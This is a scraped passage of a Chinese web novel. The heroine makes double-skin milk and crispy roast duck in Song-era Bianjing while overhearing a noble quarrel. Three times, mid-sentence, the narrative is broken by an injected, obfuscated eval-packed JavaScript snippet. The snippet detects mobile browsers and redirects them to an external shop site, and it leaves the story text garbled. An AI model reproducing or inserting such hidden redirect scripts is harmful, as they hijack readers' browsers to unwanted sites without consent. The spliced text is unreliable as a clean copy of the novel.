无论是乳酪团子还是蜜浮酥柰花，于孟嫣而言都是甜品。 既然是甜品，她还想吃双皮奶、和桂花冰酥酪，只是店里没有双皮奶，而冰酥酪也只有夏日提供，用来消暑。 孟嫣只能遗憾作罢。 二人吃完，又拿过伙计送来的乳酪酒，正准备离开时，孟嫣灵机一动，问伙计道：“你们这里可卖牛乳？” 伙计笑道：“自然卖的，我们这的牛乳比起别家乳味更香醇，许多贵人们也日日差人来买呢！” 做双皮奶的牛乳一定要香醇，换句话说蛋白质含量要高，蒸制后能结出厚厚的奶皮子才行。 孟嫣听伙计这样说，毫不犹豫地买了一小瓮。 双皮奶什么的，她可以回去自己做，这个又不费事。 上了马车，孟嫣目光亮晶晶地同萧遇说了回去做双皮奶和桂花冰酥酪的事。 萧遇好奇，冰酥酪他知道，可这双皮奶又为何物？ 孟嫣解释道：“就是有两层奶皮子的……酥酪？” 萧遇似懂非懂，还是等着看做出来为何物吧！ 马车行至潘楼街，渐渐慢了下来。 孟嫣从窗子望出去，见街巷车马行人多了起来，却都朝一个方向行去。 孟嫣好奇，伸着脖子也朝行人涌去的方向看去，就见前面人群拥堵，像是发生了什么事。 马车也终于停了下来。 孟嫣和萧遇对视一眼，正想下去瞧个热闹，就听见一道熟悉的跋扈声音：“我何时说你们家世子活该被打了？！” 孟嫣不由得顿了顿。 长宁侯前未婚妻？好像叫淑兰？喻淑兰？ 孟嫣又坐了回来。 这阵子竟一连两次遇见了她，一次被骂，一次无意间听了她的八卦，她还是避着点吧，免得徒惹是非。 最重要的是，喻淑兰可是官宦人家的女儿，她这个无依无靠的人可惹不起。 萧遇自然也听出了外面的声音是谁，只是他没想到孟嫣又坐了回来。 她明明想去瞧热闹的，现在耳朵都贴在了车窗上。 萧遇回想了一下那日遇见喻家女的情形。 喻家女看上去是有些跋扈，可那日也没见孟嫣露出害怕的神色？ 不仅如此，不是还夸她漂亮来着？ 萧遇思索不出个所以然，便又将目光放在了孟嫣脸上。 这时，外面又响起了另外一道盛气凌人的声音：“喻娘子还是好好想想，同我们世子道个歉就好！汴京这两日可都传遍了，就是一位穿狐皮斗篷的娘子说的这话。” 孟嫣又将耳朵竖了竖，是高门掐架啊！ 在这个没有手机看八卦的时代，这可是头一份的乐子！ 喻淑兰似是被气着了，拔高声音道：“汴京穿狐皮斗篷的又不止我一个，凭什么认定是我说的！” 那人似是笑了一下，依旧用盛气凌人地语气道：“汴京穿狐皮斗篷的的确不止喻娘子一人，可汴京谁人不知我家世子和长宁侯的恩怨？这么多年从未有人说过我家世子活该被打。” 喻淑兰怒目瞪着此人，还想再说，就听他又道：“如此，除了刚进京不久的喻娘子，又还能是何人？况且，喻家先前与长宁侯府差点就成了姻亲，论起亲疏，喻娘子在不明就里的情况下帮长宁侯说话无可厚非。喻娘子，我家世子也只想让您道个歉，并无仗势欺人之意！” 喻淑兰气的一时竟不知如何辩驳，这阵子迁调入京的官员还真只有她们喻家，她也真不知永安公府和长宁侯府还有这等恩怨，最重要的是，她和长宁侯却实定过亲！ 车里的孟嫣缓缓眨了眨眼睛，喻娘子，长宁侯，他们世子，活该被打…… 这里似乎哪里有什么不对？ 孟嫣缓缓将耳朵撤了回来，迟疑地问萧遇：“外面说的他们世子……可是永安公府的房世子？” 萧遇早就听明白了外面发生了何事，见孟嫣还没反应过来，觉得有几分好笑，却还是凝重地点了点头，看看她当如何。 孟嫣面色浮现几分尴尬，又压着声音问：“他们在理论的……可是我说过的那句‘房世子活该被打’一事？” 萧遇又凝重地点了点头。 孟嫣面上的尴尬又重了几分，她讪讪笑了笑，继而面色渐渐变得凝重起来。 萧遇目光一错不错地望着她，阳光透过窗缝，在孟嫣的脸上留下一道光影。 良久，她轻轻呼出一口气，面上依旧带着凝重，自言自语道：“我应该下去将事情说清楚，道歉也应该我来道，若这事房世子不在意也就算了，可现在他明显在意，还四处找人，还找错了人……” 还没自言自语完，外面又一道清润声音传了进来：“勿要对喻娘子无礼。” 孟嫣止了声音，又缓缓竖起了耳朵。 那道声音又道：“房某替我这长随向喻娘子赔罪，失礼之处还请喻娘子见谅。” 说着就朝喻淑兰一揖。 围观的人群里也传出了几声“房世子”“是房世子”的声音。 孟嫣悄悄探出半颗头，见围观的人群已经让出一条通道，通道的尽头站着喻淑兰，喻淑兰的对面站着一个作揖的男子。 男子一身青色绣金线的披风，头戴玉冠，身姿清濯，远远看去俊雅出尘。 这就是房世子？真能说出“老长宁侯是自己找死”这样的话来？ 喻淑兰乍一见到这般姿态的男人也怔愣半晌，知道他就是永安公府的世子后，面色忽而飞起两团浅淡的云霞。 房世子见此轻笑一声，直起身来，又道：“我知喻娘子定是错信他人胡言，才说出房某活该被打这样的话，不知喻娘子现下可愿赏光，让房某请娘子去樊楼吃盏茶，好生解释一下此事？” 喻淑兰面色云霞更甚，嘴上却娇叱道：“房世子好生没个规矩……” 房世子顿了顿，又笑着赔礼道：“是房某思虑不周，他日永安公府设宴，遍邀各府郎君、娘子共赴雅集，到时还请喻娘子拨冗赏光。” 喻淑兰搅着手帕，轻轻“嗯”了一声，带着身边的女使飞快上了马车。 人群散去，房世子也带着长随离开了。 孟嫣收回了脑袋，朝萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990522|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇眨了眨眼：“我还是别去搅扰喻淑兰的好事了吧！” 萧遇不知喻淑兰有什么好事，他面色隐隐有些怒气。 孟嫣看萧遇这副神色，困惑道：“怎么？” 萧遇拉过她的手心，写道：你刚刚要下去道歉？ 孟嫣轻轻颔首，唉声叹气道：“其实我也不想的，但是总不能让别人白白因我遭了冤挨了骂，这样我有些于心不安。” 萧遇怒气散了散，又写：你是因为这个才想去道歉？ 孟嫣：“对啊，若因我之故，给他人带来麻烦，自然要去解释清楚，总不能让人白白遭受无妄之灾。” 萧遇怒气彻底散了，轻哼一声，不知斤两！ 喻家女再如何也有喻家做靠山，永安公府再去为难她也不会怎样，你一个舶商孤女去了只会羊入虎口，到时候落到什么下场都不一定。 只是这些话写也写不清楚，萧遇只好拉过她的手，简略道：任何时候，自保为上。 孟嫣见此笑了笑，知道萧遇是关心她为她好，把玩着他的手道：“知道啦，不过以后我还是谨言慎行才是，免得给自己带来麻烦。” 萧遇却想，其实也不必如此。 马车摇摇晃晃终于穿过了潘楼街，临到小甜水巷的时候，孟嫣又去买了些醪糟和鸡蛋。 二人一回来，孟嫣就让萧遇去生火烧水。 她则先取出了两只小汤盅，分别舀入三勺醪糟，倒入牛乳搅了搅，盖上盖子放倒了外面静置。 又取出两只碗分别倒入了牛乳，等萧遇的水一烧开，孟嫣将两只盛了牛乳的碗放入锅里蒸制。 萧遇烧着火，孟嫣就巴巴地看着蒸锅。 时间差不多了，孟嫣将两只碗取出放凉，碗中渐渐结成一层厚厚的奶皮子。 孟嫣高兴地道：“这牛乳真好，奶皮子这么厚。” 萧遇却写道：好了？ 孟嫣：“这才一层皮，还差一层呢！” 说着又磕了两只鸡蛋，娴熟地取出蛋清放入一只大空碗中，将蛋清搅散。 然后又分别在两只碗的奶皮子边缘划了条缝，将牛乳缓缓倒入装有蛋清的大碗中，碗底只留有少量牛乳撑着奶皮子。 萧遇看着孟嫣将牛乳在这三只碗中折腾来去，丝毫不觉得麻烦，反而快乐的像只小鸟。 等两只碗再次从蒸锅取出，孟嫣欢快地道：“现在也一起放到外面静置就好啦。” 萧遇颔首，让孟嫣去火阁，里面暖和。 孟嫣正要点头，就听院外有人叫门。 她去开门，竟是余家炙鸭铺的伙计。 伙计见到孟嫣，笑着道：“小娘子，我大哥哥做出了你说的脆皮炙鸭，哪日有空来尝尝？” 孟嫣一听竟然做出来了，立时心花怒放，道：“那就明日，明日午间，我过去尝尝。” 伙计一听也眉开眼笑，说了句“明日等小娘子过来”就飞快地离开了。 孟嫣刚关上院门，就见萧遇站在她身后，面色询问何事。 孟嫣扬起唇角：“明日带你去吃烤鸭！外皮脆脆的烤鸭！” 28. 如厕一事 萧遇不知孟嫣口中“外皮脆脆的烤鸭”和炙鸭有何不同，但见她这般眉眼弯弯也忍不住轻轻弯了弯唇角。 孟嫣没去火阁，而是跟在萧遇后面看他将火熄了，又将厨房收拾了才一起进了屋子。 火阁已经燃了火炉，里面暖洋洋的。 孟嫣脱下斗篷，坐了下来。 桌案上是萧遇写有汴京食肆酒楼招牌吃食的那张纸，她取笔蘸墨，在乳酪张家后面歪歪扭扭写上：双皮奶。 写完后又想了想，加上了一个“姜撞奶”。 萧遇不知她写这作何，只静静看着，就见她又找到了万家馒头，在其后写上：奶黄、蛋黄流沙、芋泥。 写完这些还不够，又在最后一家食肆后面加上了：余家炙鸭铺，烤鸭。 思索了片刻，又加上了“广式烧鸭”四个字。 孟嫣毛笔依旧用的生疏，写完这几个字后，双皮奶和冰酥酪已经冷置的差不多了。 萧遇虽不明白这些是什么，却也能根据双皮奶猜出，应该又是什么吃食，只是他不曾吃过的新鲜做法。 他也没多问，自行出去将两只碗和两只汤盅拿了进来，又递给孟嫣一只瓷勺。 双皮奶表面的奶皮已经起了褶皱，轻轻舀起一勺送入口中，绵滑的口感伴着浓郁的奶香，好吃的让孟嫣弯起了眼睛。 乳酪张家的牛乳简直太棒了！ 双皮奶并不是什么工序复杂的甜品，最重要的就是牛奶。 牛奶太淡，不仅不会凝成奶皮，更不会凝固成酪。 牛奶不淡却不够浓郁，虽会凝成奶皮，也会凝固成酪，口感却稀碎如豆花，滑溜溜却少了那丝绵滑感，只能喝不能嚼。 更有甚者，蛋奶比例掌握不好，直接成了布丁果冻的口感，更失了双皮奶的风味。 萧遇见孟嫣一副比吃到软酪还欢喜的神色，也舀了一勺双皮奶送入口中，随即微微一顿。 口感比豆腐滑嫩，却保留着豆腐的一丝绵软，乳香比乳酪浓郁，却没有乳酪那极其细微的酸味。 萧遇忍不住又吃了一大口，轻轻咀嚼，又目光惊异地望着孟嫣。 她不是极少吃到乳酪做成的吃食？ 如若不然，在张家酒楼时，她又怎会一会儿感慨一会儿失笑？ 可她竟能做出这等不失酒楼水准的东西，哪里像没吃过的？ 萧遇一边疑惑，一边又不知不觉将整碗双皮奶都入了腹，最后还意犹未尽地刮了刮碗底。 孟嫣对萧遇刮碗底的举动十分满意，她也没吃够，也细细地刮了刮。 萧遇意识到自己做了什么后面色倏尔一迥，从小到大也没做过这样事，真是破天荒头一遭。 他摇头失笑。 孟嫣已经吃起了冰酥酪。 本来是要做桂花冰酥酪的，奈何忘记了买蜜浆和桂花。 不过带着酒酿香味的酥酪也十分好吃，比之双皮奶要清爽许多。 冬日里围着火炉吃上一碗冰酥酪，这感觉别提多惬意了。 两碗甜品下肚，二人一时谁都没说话。 孟嫣盘算着夏日要不要开上一家甜品铺子，雇上两个人来做，她来收钱，这样她不用动手，既能赚钱又能天天吃上甜品。 想到此处，孟嫣忍不住弯起唇角笑了起来，笑着笑着忽而顿住。 她就能保证只赚不亏吗？ 孟嫣敲了敲手指。 若要做的好吃，必须得是张家这样的牛乳才行，可他家的牛乳可不便宜。 今日买的这一小翁是一百三十文，只能做四份甜品。 这样的话，一份甜品牛乳的成本就要三十几文，若日后再加上其他原料的成本，还有房租、人工、商税，即便找到了便宜一些的乳源，一份甜品的成本也不下三十文。 想到张家酒楼一份鲍螺滴酥就要一百三十文，一只软酪团子就要八十文，而市井之间一份吃食饮子多在十五文左右…… 孟嫣：……还是再议吧！ 她只是想开个甜品铺子，不是开个酒楼。 自然，即便她想开个酒楼，也没这个本钱。 孟嫣哀叹一声，打消了念头。 这时，衣袖被拽了拽。 孟嫣看去，就见萧遇在纸上写道：要不要练字？ 孟嫣：…… 孟嫣瞅了瞅自己勾勾巴巴的字，应该练一练的。 她硬笔字其实写的还行，可这时候写硬笔字会不会很奇怪？ 孟嫣哀嚎一声，练吧练吧，总有用得上的时候。 她点了点头，拿过笔准备开始从横平竖直练起。 萧遇却阻止了她。 孟嫣问他何意？ 萧遇取了张新纸，伏案写了起来。 孟嫣明白了他的意思，问：“你是让我临摹你的字？” 萧遇抬起眼，似是在问，不行吗？ 孟嫣眉开眼笑：“行行行，那就再好不过了，这样总比我瞎练要少走许多弯路。” 孟嫣目不转睛地看着萧遇，看着看着觉得他的脸上似是涂了脂粉。 她凑近了细细看了看，还真是。 不过这脂粉细腻，不离这么近都看不出来，她不由自主地抬起一根手指，想戳一戳。 只是还没碰到，萧遇似是察觉了一般，骤然抬眼，就见一根纤细的手指已经戳到了眼前。 孟嫣吓了一跳，立即收回手指，尴尬道：“我、我就是想看看你擦了什么粉……” “还有、还有我突然想起，我好像从没见过你净面、洗漱……”孟嫣又小声地补了一句。 萧遇顿了顿，拿过一张新纸，写道：我不习惯别人看见。 孟嫣扫了一眼，点头道：“我也不习惯，就像上厕所……如厕时一样……” 说到这里她又顿了顿，忽而垂眸，眉头渐渐锁了起来。 萧遇见她忽而变了神色，不知发生了什么，正想写下问问，就见孟嫣猛然抬头，眉头依旧紧紧锁着，有些欲言又止，像是有什么难以启齿一般。 萧遇眼神询问。 孟嫣张了张唇，又抿了抿，像是下了什么决心一般，试探道：“你……可曾如厕过？” 不怪孟嫣这么问。 她带萧遇回来当日，就在杂货铺子给他买了面盆、脚盆、马桶等物，通通放到了西耳房。 她的确没特意注意过萧遇有没有洗过脸，更不可能去看他的马桶。 可就在刚刚，她恍然想起，即便她不去看他的马桶， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998128|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那也应该注意到另外一样东西——厕筹！ 她自己用了素绢当厕纸，在马桶旁边的隐蔽处还放个陶罐呢！用后直接点火悄悄烧掉。 若萧遇是用厕筹，那马桶旁边应该有成套的厕筹用具，可萧遇的马桶旁边什么都没有！ 那她拉完屎…… 孟嫣不想再想下去，可无比介意此事的她又忍不住想下去。 萧遇在听清她问了什么后眼皮抖了抖。 这还真不好说出来。 他日日洗漱如厕都是回隔壁自己单独的净室浴间，从未用过她给他买的马桶，也就洗手时用过面盆。 她这是怀疑他从未如厕过？ 萧遇拧眉沉思片刻，瞎写道：不敢叫你看到，自然主动避开。 萧遇以为这样回答，孟嫣就不会继续这个话题了，没成想，孟嫣却锲而不舍：“那……你用的可是厕筹？” 萧遇眼皮又狠狠地抖了抖。 从小到大，从没有人这么刨根问底极其认真的同他讨论如厕一事！还问到了是不是用厕筹！ 这要让他如何说？这可是极其私密的事，何况他更不可能说出他用丝绢一事。 想到这里，萧遇忽而顿了顿。 她为何这么问？难不成她不是用厕筹？ 据说一些富商之家的确不用厕筹，也是用丝绢…… 萧遇写道：你难道不用？ 孟嫣：…… 她用素绢当厕纸一事是万万不能说出来的。 不过看他这样回答，他自然是用厕筹了。 只是又想到他的马桶旁并没什么厕筹用具，可能用的是那等毛竹刮片吧！用了就扔了…… 孟嫣想到被她束之高阁的那套，起身出了火阁，将这套翻了出来。 不管萧遇之后是只用一次还是重复使用，都比放在她这里强。 孟嫣将其递给了萧遇：“这是别人帮着采买的，你拿去用吧。” 余下什么话都没再说，却给了他一个隐晦的眼神。 萧遇从这个眼神里读出了用的时候刮干净些…… 萧遇神色复杂的接过，打开布包就见上面写着：一腔积尘皆泻尽，两腋清风几欲仙。 竟和林檎用的一样的……等等！ 别人帮着采买……不会就是林檎谢她山蕈炖鸡方子那次采买吧？ 他可清楚地记得那张单子上面大大的“厕纸”二字！ 萧遇神色复杂地写道：我之前的女使采买的？ 孟嫣摇了摇头：“是隔壁邻居，谢我做菜的方子，就帮我采买了物事。” 还真是那次。 萧遇：为何不用？ 孟嫣：“……我有。” 二人忽而默契地谁都没再说下去，齐齐撇开了脸。 晚上的时候，林檎和戍安如常地翻墙过来。 就见自家侯爷手里拎了一只绢布包裹。 林檎好奇问道：“侯爷，您拿的什么？” 萧遇淡淡暼了他一眼，扔给了他。 林檎接过，打开一看，惊喜道：“侯爷怎知我用这家的？正好我也该换一套了。” 萧遇：…… 他闭上眼睛，眼不见为净，吩咐戍安：“净面吧！” 29. 烤鸭变烧鸭 有了萧遇写就的字帖，白日里，孟嫣就照着临摹起来。 火炉烧的正旺，将孟嫣的面庞烤的暖烘烘的。 只是孟嫣临摹的并不专心，时不时抬眼瞥向窗外。 窗纸朦胧，其实什么也看不清。 她请女使除了提水、烧水、灌汤婆子之外，还有洗衣。 今日阳光晴好，孟嫣便将攒了一衣篓的衣裳都抱出来清洗。 她想从旁帮忙烧烧水或煮煮皂荚什么的，却被萧遇赶回了火阁。 想到昨日她说洗漱不想被人看见一事，想来洗衣也一样，便也没再坚持。 只是现在已经过去好一会儿了，外面竟一丝动静也无。 她犹记得自己洗衣那日，又是烧水，又是搬水的，前前后后在小院里折腾了好几趟。 难不成萧遇洗衣不像自己这般费劲？ 孟嫣摇头失笑。 此刻萧遇正对着一堆衣裳发愣，尤其手中拎着的那件绣有幽兰的素色抹胸，这是孟嫣的贴身衣物。 他本想将衣裳拿去隔壁，让林檎洗了，毕竟在军营时，他的衣物也都林檎负责。 可刚刚竟掉出了件这个，萧遇犹豫了，尤其这堆衣物里这个不止这一件。 萧遇将抹胸放下，还将其往盆底埋了埋。 他捏了捏眉心，搬起衣物，轻身翻过墙头，还是让林檎找个妇人来洗吧！ 又过了许久，孟嫣依旧听不到任何动静，正要出去看看时，就见萧遇推门进来。 孟嫣诧异：“洗完了？” 萧遇摇了摇头，在她手心写道：我饿了。 孟嫣没多想，这时候也到了用午饭的时候，正好去余家铺子吃烤鸭。 二人收拾了一翻就出了门。 时值正午，余家炙鸭铺子的人不少，铺子里的三张桌子都坐满了。 伙计余家二郎见孟嫣过来，笑着带她去了旁边的胡饼铺子落座。 胡饼铺子里只有一卖胡饼女子，见余二带人过来也只笑了笑。 二人刚落座，那日满脸络腮胡子的余家大郎手里拎了一只烤的焦香油亮的鸭子过来了，脸上掩饰不住的得意。 当着孟嫣的面，用刀刃斜着刮了刮鸭身，故意让孟嫣听听声。 果然声音酥脆，孟嫣多了几分期待。 余大郎见此不再显摆，迅速片起了鸭子，片好一碟后放在孟嫣面前，示意她尝尝。 孟嫣夹了一片，鸭皮里的脂肪已经烤化，和鸭肉几近分离，送入口中后，她愣了愣。 这……是广式烧鸭啊！ 皮酥肉嫩，一口爆汁，若是配上酸梅酱…… 孟嫣抬起头，眼睛亮晶晶地问：“可有酸梅酱？” 余大郎：“徐四铺子有，就在对面，等我买来。” 说着就大步出了门去。 很快，余家大郎将一小陶罐酸梅酱放在了孟嫣面前。 孟嫣要了勺子，淋了一些酸梅酱在烤鸭上，再次夹了一片送入口中，欣喜地不住点头。 就是这个味道！ 昨日她还想着，若是他们做出了烤鸭，可以再试试做一下烧鸭的！ 是以，她在余家炙鸭铺后面特意写上了“广式烧鸭”四个字，没想到今日就吃到了！ 最最关键的是，竟然还有和烧鸭最为搭配的酸梅酱！ 孟嫣激动的想哭，一口一口吃了起来，一时都忘了萧遇的存在。 余大郎对孟嫣的反应显然很满意，见一碟很快就被孟嫣吃光又要再片上一份，却被孟嫣开口阻止。 孟嫣道：“不用片成薄片，带骨切就好。” 吃烧鸭和烤鸭不同，带着骨头吃才更有滋味！ 孟嫣说的虽不甚清楚，余大郎却一听就明白了，将另一半没片过的烤鸭分别按腿、翅、身斩切成块，最后整整齐齐的码放在盘中，摆到了孟嫣面前。 孟嫣又淋了两勺酸梅酱，正要吃才骤然想起萧遇的存在，她赧然笑笑：“快尝尝，这烧鸭味道一绝！” 萧遇见她吃的这般忘我，就知道味道定然不差。 只是刚刚不是还说叫烤鸭吗？现在怎么变成烧鸭了？ 不过这不重要。 他夹过一块淋了酸梅酱的鸭肉送入口中。 让他意外的是，这和平日里的炙鸭味道完全不同。 鸭皮酥韧，轻轻一咬，里面的汁水就爆了出来，带着香料的独特味道，再搭配着酸甜的梅酱，极好的解了腻不说，还同炙鸭以及香料融合的恰到好处。 他从来没想过，这样做的炙鸭，竟然和酸梅酱这么相配！或者说，这酸梅酱简直就是这道炙鸭的点睛之笔！ 萧遇将口中的鸭骨都细细嗦了一遍才吐到骨碟中，又去夹了一块，这次还特意多蘸了些酸梅酱。 余大郎见二人吃的太香，也忍不住切了一只鸭腿来，学着孟嫣淋了一勺酸梅酱，大剌剌地咬了一口，随即满脸的络腮胡子都安静了下来。 这炙鸭淋上酸梅酱竟是这个味道？和光秃秃只吃炙鸭完全不同！ 他忍不住嗷一嗓子放声大笑，吓得孟嫣和萧遇筷子一抖。 二人抬头，就见余大郎手里抓着一只啃了一大口的鸭腿。 二人：…… 余家铺子的伙计余二听到立刻奔了过来，立时朝余大郎背上拍了一巴掌。 笑声戛然而止，没等余二开口问发生了什么，嘴就被鸭腿堵住了。 余大郎期待地看着弟弟：“咬一口，咬一口！” 余二看看余大，又瞅瞅孟嫣二人，一脸怀疑地咬了一口，咀嚼了两下愣住了。 他不敢置信地喃喃：“这是……这次做出来的炙鸭？真的是这次做出来的炙鸭？！” 也太好吃了吧！ 他囫囵咽下口中的鸭肉，目光灼灼地望向孟嫣。 孟嫣笑了笑，道：“其实，这皮还是不够脆……” 话音一落，余家两兄弟齐齐瞪大了眼睛，就连萧遇也看了过来。 孟嫣：“但是却刚好做成了脆皮烧鸭，配酸梅酱的脆皮烧鸭！也是我喜欢的！” 余二一听，立时笑了。 余大却严肃问道：“你说这皮还不够脆，若再脆一些是怎么个脆法？” 孟嫣想了想，道：“我见许多卖夹饼的铺子，都会将宽焦薄脆夹入饼中，这鸭皮烤到薄脆的那个脆度就好，但要更酥一些。” 孟嫣这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002620|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一形容，余大就知道今日这炙鸭的确不够脆了。 他眉头锁了起来。 孟嫣又道：“还有，外皮烤到这个脆度，香料味道就可以淡一些，吃的就是一个炭烤香。自然，若是用果木来烤，香料都可以省去，这样炙烤出的鸭肉就会有果木的清香，到时候再用薄饼、面酱、葱丝瓜条一卷……” 余下的孟嫣没说，其实她已经很久没吃过果木烤鸭了。 现代果木烤鸭成本相比于电烤成本太高，并且还要时时盯着火候，烤起来过于麻烦，已经鲜少能吃到。 果真，余大也摆摆手道：“若是用果木，最耐烧的就是枣木，可朝廷下令不让砍伐桑枣做柴！咱可做不了！” 孟嫣摸了摸鼻子，这时候枣木为经济林木，哪里允许砍来烤肉？的确太过铺张了。 余二眼睛却转了转，道：“大哥哥你先烤出来小娘子说的这个脆度，若是小娘子吃着满意了，再说用不用果木的问题。” 余大一听弟弟这么说，也点了点头道：“那小娘子过几日再来！” 孟嫣和萧遇二人吃过烧鸭后，去遇仙楼又吃了一顿。 烧鸭好吃，余大只烤了一只让孟嫣尝尝，二人着实没吃饱。 只不过孟嫣在遇仙楼再次听到了关于喻淑兰的八卦。 据说那房世子当日的确想让喻淑兰给他道歉，可在见到她的样貌后却一见钟情，今日还真就如他所说，给京中各府递了帖子，三日后在永安公府设赏梅宴，为的就是可以借此见喻淑兰一面。 孟嫣咋舌，这房世子真是好大的手笔。 只是，若是喻淑兰最后真嫁了他，那她们喻家以不攀附高门为借口和长宁侯退亲，不就自行打脸了？ 孟嫣悄悄和萧遇八卦道。 萧遇对此没什么别的看法，打不打脸关他什么事？ 孟嫣又悄声道：“这房世子恐怕并非真看上了喻淑兰。” 萧遇挑眉，等着她继续说。 孟嫣：“喻家退亲一事京城谁人不知？若房世子当真看上了她，定然会方方面面安排妥当再同喻家议亲，至少不会这般大张旗鼓，让心上人损了名声。” 孟嫣凑近萧遇，信誓旦旦道：“所以，房世子这么做的目的不是喻淑兰，而是长宁侯！” 萧遇：…… 孟嫣觉得自己分析的极对：“房世子是想告诉长宁侯，喻家和他退亲根本不是什么不想攀附高门，就是单纯地看不上他，房世子想借此事嘲讽他！” 萧遇：…… 又听了一耳朵八卦，孟嫣心满意足地同萧遇回了小甜水巷。 萧遇让孟嫣进去火阁，他则去厨房看了一眼。 林檎请的妇人已经把衣裳洗好了，他只需将衣裳晾到衣架上。 晾衣裳时，避免不了又见到了那几件抹胸，萧遇沉默着将其搭在衣架上，一切做完，长长舒了口气。 刚要进屋，院门就被敲响，竟是前些日子定做的锅送了过来。 孟嫣听到声音也出来了，细细将锅里锅外看了一遍。 九宫格和铜锅严丝合缝，可见这时的匠人手艺十分高超。 孟嫣十分满意，可以把火锅提上日程了！ 30. 咸甜之争 萧遇悄无声息、不动声色地消耗着孟嫣的银子，孟嫣丝毫没有察觉。 相反，孟嫣还觉得幸好有他，简直就是汴京的活地图。 不过吃了这么多家后，孟嫣发现汴京城最好吃的地方大部分云集在内城西北方向，也就是皇城西面、马行街一带。 那里不仅酒楼扎堆，医馆药铺也多不胜数，自然，住在这一带也都是官员士大夫之类。 今日，萧遇就又带孟嫣去了这边的另一处酒楼——和乐楼。 和乐楼，又叫庄楼，与丰乐楼、欣乐楼并称汴京三大酒楼。 只是今日似是赶上了官员休沐，庄楼雅间竟然客满，就连大堂散座也坐满了七七八八。 孟嫣倒是不介意坐在大堂，她的目的是吃，而非观景、小酌、欣歌赏舞。 伙计却有些不好意思，生怕将她得罪了去。 不用问，自然又是这件狐皮斗篷的功劳。 等过了冬日不用穿斗篷的时候，她可就没这待遇了。 孟嫣摸了摸鼻子，道：“散座就好。” 伙计一听，立即松了口气，笑了开来，连忙将孟嫣引入一处靠着楹柱的座位，楹柱可以很好的阻隔大堂中的部分视线。 落座后，和大部分酒楼一样，由伙计流利地报出今日招牌菜，并一一介绍。 不过伙计却单独为孟嫣报了一份赐宴高丽使节的菜单。 孟嫣也是此刻才知道，汴京三大酒楼常作为藩属国使节的赐宴之所。 高丽使节的菜单里，猪羊鹅鸭自然少不了，另外还有各种真假鱼类，主食是蟹黄馒头和羊脂韭饼，最后还有一道甜饮子荔枝膏。 看到荔枝膏，孟嫣挑了挑眉。 藩属国使节通常在正月初一前到汴京朝贺正旦，都是冬日的时候前来。 而荔枝膏是夏日汴京大街小巷到处都有的消暑饮子，虽叫荔枝膏，实则并非荔枝所做，而是用乌梅、肉桂、砂糖、生姜汁、熟蜜加水熬制而成，冰镇后甜似荔枝故而得名。 只是这明明是夏日饮子，此刻却放在了赐宴菜单里，不知是不是作为宗主国的格外照拂，还是不动声色别有深意，让藩国使节尝尝大宋百姓夏日都能喝到的消暑饮子。 不过不管有没有深意，都阻挡不了孟嫣也想尝尝的想法。 除了这消暑饮子，孟嫣在赐宴高丽的菜单里还选了旋炙猪皮肉、酒浇蹄、假河豚、鲂鱼脍，主食以蟹黄馒头，汤羹以群鲜羹。 这次却没选羊，并非不想吃，而是汴京酒楼食肆几乎都少不了羊之一菜，且各有做法，大概羊肉品质本就不错，随便一家的羊肉无论怎么做味道都不差。 不过最让孟嫣惊叹的还是前几日在丰乐楼吃到的五味杏酪羊。 她不知如何形容杏酪和羊肉融合在一起的美味，只知杏仁独特的甜香裹着蒸制软烂带着乳香的羊肉，没有一丝膻味，肉质细腻，入口即化，筷子夹不起来，要用勺子舀着吃才行。 想到这道菜，任何做法的羊肉在此刻都逊色了不少，故而孟嫣此次就没再点。 伙计记下孟嫣点的菜品汤羹就去传菜了，孟嫣则四处打量起来。 大堂熙攘喧闹，比在雅间多了一丝鲜活。 临窗的几张桌坐着的应该是马商，正在唾沫横飞地说着今年北地来了多少好马。 角落处围着几个青衣士子，手中捏着诗笺正在不住地颔首品评。 还有那带了家眷的富户，一边低声呵斥顽童不要乱跑，一边又听妻子说着家长里短。 喧喧嚷嚷里，孟嫣和萧遇二人的吃食送了上来。 孟嫣收回目光，开始品尝起作为赐宴使节的菜色。 旋炙猪皮肉就是现烤的带皮猪肉，皮肉烤至焦香，端上来时还滋滋冒油，旁边还搭配了蒜末、葱白和盐末及酱醋，可以根据口味自行调和。 孟嫣轻“啧”了一声，这不就是烤肉的前身嘛！ 想到烤肉，孟嫣不得不想起鲜族烤肉和齐齐哈尔烤肉，也是因此她才去打了一口带孔隙的烤肉锅。 她夹了一块，只沾少许盐末，味道尚可，若是烤的再久一点，吃起来就像猪油渣的味道了。 没有特别惊喜，孟嫣就将目光放在了蟹黄馒头上。 说是蟹黄馒头，其实是蟹黄汤包。 